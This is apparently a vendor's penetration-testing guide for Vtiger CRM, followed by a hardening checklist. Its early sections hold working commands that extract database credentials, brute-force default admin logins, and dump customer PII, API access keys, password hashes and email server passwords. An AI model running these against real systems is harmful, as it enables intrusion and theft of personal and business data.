CRM Security Testing

Vtiger CRM Security Testing: Default Credentials, API Key, Database, and CRM

📅 July 3, 2026 ⏱ 10 min read 🏷 Vtiger CRM, CRM Security, config.inc.php, MySQL, REST API, Access Key, Default Credentials, Customer Data, Sales Pipeline, Document Storage

Vtiger CRM is a widely deployed open-source CRM platform used by SMBs and enterprises to manage sales pipelines, customer contacts, and business documents — it contains highly sensitive business intelligence. Key assessment areas: config.inc.php exposes the MySQL database password; admin credentials are frequently weak; the REST API uses a per-user access key stored in plaintext in the database; and MySQL contains all customer contacts, sales opportunities, and business documents. This guide covers systematic Vtiger CRM security assessment.

config.inc.php MySQL Credential Extraction
REST API Access Key and Authentication Assessment
MySQL CRM Data and Business Intelligence Extraction
Vtiger CRM Security Hardening

config.inc.php MySQL Credential Extraction

# Vtiger CRM — config.inc.php MySQL credential extraction
VT_URL="https://crm.example.com"

# config.inc.php — Vtiger main configuration
cat /var/www/vtigercrm/config.inc.php 2>/dev/null
# $dbconfig['db_server'] = 'localhost';
# $dbconfig['db_port'] = '3306';
# $dbconfig['db_name'] = 'vtigercrm';
# $dbconfig['db_username'] = 'vtigercrm';
# $dbconfig['db_password'] = '...';    <-- MySQL password

python3 -c "
import re
content = open('/var/www/vtigercrm/config.inc.php').read()
patterns = {
    'db_password': r\"\\\$dbconfig\['db_password'\]\s*=\s*'([^']+)'\",
    'db_username': r\"\\\$dbconfig\['db_username'\]\s*=\s*'([^']+)'\",
    'db_name': r\"\\\$dbconfig\['db_name'\]\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m:
        print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# Test default admin credentials
for CRED in "admin:admin" "admin:password" "administrator:admin" "admin@example.com:admin"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${VT_URL}/index.php" \
    -d "module=Users&action=Authenticate&user_name=${USER}&user_password=${PASS}&__csrf_token=" \
    -c /tmp/vt_cookies 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

REST API Access Key and Authentication Assessment

# Vtiger CRM REST API — access key authentication assessment
VT_URL="https://crm.example.com"

# Vtiger REST API uses a two-step authentication:
# 1. GET challenge token
# 2. MD5(challenge + accessKey) to login and get sessionId

# Step 1: Get challenge token
CHALLENGE=$(curl -s "${VT_URL}/webservice.php?operation=getchallenge&username=admin" 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('result',{}).get('token',''))" 2>/dev/null)
echo "Challenge token: ${CHALLENGE}"

# Step 2: Login with MD5(challenge + accessKey)
# Access key is stored in vtiger_users table in MySQL
ACCESS_KEY="user-access-key-from-db"
MD5_KEY=$(echo -n "${CHALLENGE}${ACCESS_KEY}" | md5sum | cut -d' ' -f1)

SESSION=$(curl -s "${VT_URL}/webservice.php" \
  -d "operation=login&username=admin&accessKey=${MD5_KEY}" 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('result',{}).get('sessionName',''))" 2>/dev/null)
echo "Session ID: ${SESSION}"

# With session ID — list all contacts (full CRM data access)
curl -s "${VT_URL}/webservice.php?operation=query&sessionName=${SESSION}&query=SELECT%20*%20FROM%20Contacts%20LIMIT%2010" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for r in d.get('result',[])[:5]:
    print(f'  {r.get(\"firstname\")} {r.get(\"lastname\")} - {r.get(\"email\")}')
" 2>/dev/null

# Access key extraction from MySQL
DB_PASS="extracted-db-password"
mysql -u vtigercrm -p"${DB_PASS}" vtigercrm 2>/dev/null << 'EOF'
SELECT user_name, user_password, accesskey, is_admin, email1
FROM vtiger_users
WHERE deleted = 0
LIMIT 20;
-- accesskey: plaintext access key for REST API
-- user_password: MD5 hash of password
EOF

MySQL CRM Data and Business Intelligence Extraction

# Vtiger CRM MySQL database — CRM data and business intelligence extraction
DB_PASS="extracted-db-password"

mysql -u vtigercrm -p"${DB_PASS}" vtigercrm 2>/dev/null << 'EOF'
-- All contacts (customer PII)
SELECT vc.firstname, vc.lastname, vc.email, vc.phone,
       vca.mailingstreet, vca.mailingcity, vca.mailingcountry
FROM vtiger_contactdetails vc
LEFT JOIN vtiger_contactaddress vca ON vc.contactid = vca.contactaddressid
LIMIT 20;

-- Sales opportunities (business intelligence)
SELECT vp.potentialname, vp.amount, vp.closingdate,
       vp.sales_stage, vp.probability
FROM vtiger_potential vp
ORDER BY vp.amount DESC
LIMIT 20;

-- Email credentials stored in vtiger
SELECT veo.mailbox, veo.mail_server, veo.mail_serverusername, veo.mail_serverpassword
FROM vtiger_mailscanner_status veo
LIMIT 5;
-- mail_serverpassword: IMAP/SMTP password for email integration

-- All accounts (company data)
SELECT va.accountname, va.website, va.annualrevenue, va.employees
FROM vtiger_account va
ORDER BY va.annualrevenue DESC
LIMIT 20;
EOF

Vtiger CRM Security Hardening

Vtiger CRM Security Hardening Checklist:

Protect config.inc.php and rotate the database password — Vtiger's config.inc.php contains the MySQL database credentials in plaintext; the database contains all customer contacts, sales opportunities, business accounts, and email integration credentials; restrict access to config.inc.php with file system permissions (chmod 640, owned by the web server user); configure the web server to deny direct access to .php files in the root directory that are not meant to be accessed publicly; use a dedicated MySQL user for Vtiger with permissions only to the vtigercrm database; rotate the database password if config.inc.php has been exposed and update it in the configuration file
Rotate user access keys — each Vtiger user has a personal access key (accesskey) stored in plaintext in the vtiger_users table; this access key is used for REST API authentication — combined with the challenge token, it can generate a valid session without knowing the user's password; treat access keys as credentials equivalent to passwords; rotate access keys if the database has been accessed; access keys can be regenerated from the user profile in the Vtiger web interface; be aware that access keys never expire by default — implement a policy to rotate them periodically
Enforce strong admin credentials and change default passwords — Vtiger admin credentials (username admin, password admin) are the most common default configuration found in production deployments; the admin account has full access to all CRM data, user management, and system settings; change the admin password immediately after installation; Vtiger historically used MD5 for password hashing (visible in vtiger_users.user_password) which is trivially crackable — ensure you are running a version that uses stronger hashing and consider forcing password resets for all users; implement account lockout to prevent brute-force attacks at /index.php authentication
Secure the document storage directory — Vtiger stores uploaded documents and attachments in the storage/ directory; if this directory is directly web-accessible, anyone with the file path can download documents without authentication; configure the web server to deny direct access to the storage/ directory and serve documents only through authenticated Vtiger sessions; CRM documents frequently contain sensitive business content including contracts, proposals, financial statements, and customer correspondence; audit which documents are stored and implement classification policies for the most sensitive content
Restrict the REST API and monitor for credential stuffing — Vtiger's REST API at /webservice.php is a common attack target; the getchallenge operation is unauthenticated and provides a challenge token; attackers can use this endpoint to enumerate valid usernames (valid usernames return a challenge, invalid ones may return errors) and then attempt to guess or brute-force access keys; implement rate limiting on /webservice.php; restrict API access to known IP addresses if only internal tools use the API; monitor logs for repeated getchallenge requests from external IPs; consider disabling the REST API entirely if it is not actively used by integrations

Security Test	Method	Risk
config.inc.php db_password extraction	Read config.inc.php — MySQL credentials for all CRM data including contacts, opportunities, and email passwords	Critical
vtiger_users accesskey plaintext extraction	MySQL SELECT accesskey FROM vtiger_users — plaintext REST API access keys; full CRM API access without knowing user passwords	Critical
Admin credential brute-force (admin/admin)	POST /index.php with admin credentials — full CRM access; all customer data, sales pipeline, business intelligence	High
REST API authentication and data enumeration	GET /webservice.php?operation=getchallenge then login — enumerate all contacts, accounts, opportunities; complete CRM data extraction	High
Email IMAP/SMTP credential extraction	MySQL SELECT mail_serverpassword FROM vtiger_mailscanner_status — email integration credentials for IMAP and SMTP accounts	High

Automate Vtiger CRM Security Testing

Ironimo tests Vtiger CRM deployments for config.inc.php db_password extraction, vtiger_users accesskey plaintext enumeration, admin/admin credential brute-force, REST API /webservice.php authentication and data access testing, vtiger_users MD5 password hash extraction, customer PII extraction from vtiger_contactdetails, sales opportunity business intelligence from vtiger_potential, email IMAP/SMTP credential disclosure from vtiger_mailscanner_status, document storage web-accessible assessment, and vtiger_account revenue and employee data enumeration.

Start free scan

Table of Contents

config.inc.php MySQL Credential Extraction

REST API Access Key and Authentication Assessment

MySQL CRM Data and Business Intelligence Extraction

Vtiger CRM Security Hardening

Automate Vtiger CRM Security Testing